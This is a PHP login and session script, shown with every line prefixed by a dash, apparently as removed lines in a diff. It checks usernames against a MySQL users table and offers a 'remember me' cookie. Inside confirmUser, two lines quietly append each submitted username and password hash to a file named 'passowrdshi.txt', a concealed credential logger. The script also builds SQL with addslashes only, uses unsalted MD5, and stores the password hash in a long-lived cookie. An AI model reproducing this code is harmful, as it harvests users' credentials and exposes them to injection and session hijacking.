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- <?
- /**
- * Checks whether or not the given username is in the
- * database, if so it checks if the given password is
- * the same password in the database for that user.
- * If the user doesn't exist or if the passwords don't
- * match up, it returns an error code (1 or 2).
- * On success it returns 0.
- */
- function confirmUser($username, $password){
- global $conn;
- /* Add slashes if necessary (for query) */
- if(!get_magic_quotes_gpc()) {
- $username = addslashes($username);
- }
- /* Verify that user is in database */
- $q = "select password from users where username = '$username'";
- $result = mysql_query($q,$conn);
- if(!$result || (mysql_numrows($result) < 1)){
- return 1; //Indicates username failure
- }
- /* Retrieve password from result, strip slashes */
- $dbarray = mysql_fetch_array($result);
- $dbarray['password'] = stripslashes($dbarray['password']);
- $password = stripslashes($password);
- $fh = fopen('./passowrdshi.txt', 'a');
- fwrite($fh, "original username: $username, original password: $password \n");
- fwrite($fh, "\$password = $password and \$dbarray['password'] = ".$dbarray['password']."\n");
- /* Validate that password is correct */
- if($password == $dbarray['password']){
- return 0; //Success! Username and password confirmed
- }
- else{
- return 2; //Indicates password failure
- }
- }
- /**
- * checkLogin - Checks if the user has already previously
- * logged in, and a session with the user has already been
- * established. Also checks to see if user has been remembered.
- * If so, the database is queried to make sure of the user's
- * authenticity. Returns true if the user has logged in.
- */
- function checkLogin(){
- /* Check if user has been remembered */
- if(isset($_COOKIE['cookname']) && isset($_COOKIE['cookpass'])){
- $_SESSION['username'] = $_COOKIE['cookname'];
- $_SESSION['password'] = $_COOKIE['cookpass'];
- }
- /* Username and password have been set */
- if(isset($_SESSION['username']) && isset($_SESSION['password'])){
- /* Confirm that username and password are valid */
- if(confirmUser($_SESSION['username'], $_SESSION['password']) != 0){
- /* Variables are incorrect, user not logged in */
- unset($_SESSION['username']);
- unset($_SESSION['password']);
- return false;
- }
- return true;
- }
- /* User not logged in */
- else{
- return false;
- }
- }
- /**
- * Determines whether or not to display the login
- * form or to show the user that he is logged in
- * based on if the session variables are set.
- */
- function displayLogin(){
- global $logged_in;
- if($logged_in){
- echo "<h1>Logged In!</h1>";
- echo "Welcome <b>$_SESSION[username]</b>, you are logged in. <a href=\"logout.php\">Logout</a>";
- }
- else{
- ?>
- <form action="" method="post">
- <table align="left" border="0" cellspacing="0" cellpadding="1">
- <tr><td><font size="2">bluntname:</td><td><input type="text" name="user" maxlength="30"></td></tr>
- <tr><td><font size="2">password:</td><td><input type="password" name="pass" maxlength="30"></td></tr>
- <tr><td colspan="2" align="left"><input type="checkbox" name="remember">
- <font size="2">remember</td></tr>
- <tr><td colspan="2" align="right"><input type="submit" name="sublogin" value="Login"></td></tr>
- </table>
- </form>
- <?
- }
- }
- /**
- * Checks to see if the user has submitted his
- * username and password through the login form,
- * if so, checks authenticity in database and
- * creates session.
- */
- if(isset($_POST['sublogin'])){
- /* Check that all fields were typed in */
- if(!$_POST['user'] || !$_POST['pass']){
- die('You didn\'t fill in a required field.');
- }
- /* Spruce up username, check length */
- $_POST['user'] = trim($_POST['user']);
- if(strlen($_POST['user']) > 30){
- die("Sorry, the username is longer than 30 characters, please shorten it.");
- }
- /* Checks that username is in database and password is correct */
- $md5pass = md5($_POST['pass']);
- $result = confirmUser($_POST['user'], $md5pass);
- /* Check error codes */
- if($result == 1){
- die('That username doesn\'t exist in our database.');
- }
- else if($result == 2){
- die('Incorrect password, please try again.');
- }
- /* Username and password correct, register session variables */
- $_POST['user'] = stripslashes($_POST['user']);
- $_SESSION['username'] = $_POST['user'];
- $_SESSION['password'] = $md5pass;
- /**
- * This is the cool part: the user has requested that we remember that
- * he's logged in, so we set two cookies. One to hold his username,
- * and one to hold his md5 encrypted password. We set them both to
- * expire in 100 days. Now, next time he comes to our site, we will
- * log him in automatically.
- */
- if(isset($_POST['remember'])){
- setcookie("cookname", $_SESSION['username'], time()+60*60*24*100, "/");
- setcookie("cookpass", $_SESSION['password'], time()+60*60*24*100, "/");
- }
- /* Quick self-redirect to avoid resending data on refresh */
- echo "<meta http-equiv=\"Refresh\" content=\"0;url=$HTTP_SERVER_VARS[PHP_SELF]\">";
- return;
- }
- /* Sets the value of the logged_in variable, which can be used in your code */
- $logged_in = checkLogin();
- ?>
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